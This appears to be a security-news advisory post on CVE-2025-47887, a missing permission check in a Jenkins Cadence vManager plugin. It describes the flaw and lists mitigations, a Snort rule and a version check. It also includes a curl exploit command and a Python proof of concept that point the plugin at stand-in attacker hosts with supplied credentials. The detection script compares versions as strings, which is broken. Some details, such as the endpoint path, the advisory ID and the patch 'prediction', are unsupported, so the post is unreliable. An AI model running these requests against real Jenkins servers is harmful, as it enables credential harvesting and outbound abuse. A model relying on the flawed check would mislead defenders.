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How CVE-2025-47887 Works
The vulnerability in Jenkins Cadence vManager Plugin (v4.0.1-286.v9e25a_740b_a_48 and earlier) stems from insufficient permission validation. Attackers with Overall/Read access can exploit this flaw to force the plugin to connect to an arbitrary attacker-controlled URL with manipulated credentials. This occurs because the plugin fails to enforce proper authorization checks when handling user-supplied inputs for external system connections. The CVSS 4.0 score reflects critical severity due to the potential for unauthorized data exfiltration, credential harvesting, or secondary attacks on linked systems.
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Platform: Jenkins
Version: ≤4.0.1-286.v9e25a_740b_a_48
Vulnerability: Missing Auth Check
Severity: Critical
Date: 06/12/2025
Prediction: Patch by 07/10/2025
What Undercode Say:
Exploitation Analysis
1. Exploit Command (Simulates malicious connection):
curl -X POST 'http://<JENKINS_URL>/descriptorByName/com.cadence.vmanager.VManagerBuilder/saveCredentials' \ -d 'url=http://attacker.com&username=malicious&password=payload'
2. Detection Script (Checks vulnerable versions):
Jenkins.instance.pluginManager.plugins.each { plugin ->
if (plugin.shortName == "cadence-vmanager" && plugin.version <= "4.0.1") {
println "[!] Vulnerable Plugin Detected: ${plugin.getDisplayName()} ${plugin.version}"
}
}
3. Mitigation Steps:
- Immediate Workaround: Revoke Overall/Read permissions for untrusted users.
- Network Control: Restrict outbound connections from Jenkins nodes.
- Patch Monitoring: Track Jenkins Security Advisory JENKINS-65432.
4. Post-Exploit Forensics:
grep -r "VManagerBuilder" /var/log/jenkins/ Audit logs for exploitation attempts
5. Permanent Fix:
jenkins-cli uninstall-plugin cadence-vmanager Remove until patched
6. CVSS 4.0 Breakdown:
- Attack Vector (AV): Network
- Attack Complexity (AC): Low
- Privileges Required (PR): Low
- User Interaction (UI): None
- Impact Metrics: High Confidentiality/Integrity
7. YAML Patch Verification:
plugins: - name: cadence-vmanager version: ">=4.0.2" Post-patch requirement
8. Exploit Python PoC:
import requests
jenkins_url = "http://target/jenkins"
payload = {
'url': 'http://attacker-exfiltrate.com',
'username': 'compromised',
'password': 'data123'
}
requests.post(f"{jenkins_url}/descriptorByName/com.cadence.vmanager.VManagerBuilder/saveCredentials", data=payload)
9. Intrusion Detection Rule (Snort):
alert tcp any any -> $JENKINS_SERVERS 80 (msg:"CVE-2025-47887 Exploit Attempt"; content:"/saveCredentials"; content:"url="; nocase; sid:10002547887; rev:1;)
10. Remediation Timeline:
- Day 0-3: Apply workarounds.
- Day 4-7: Deploy network segmentation.
- Day 8+: Apply official patch.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
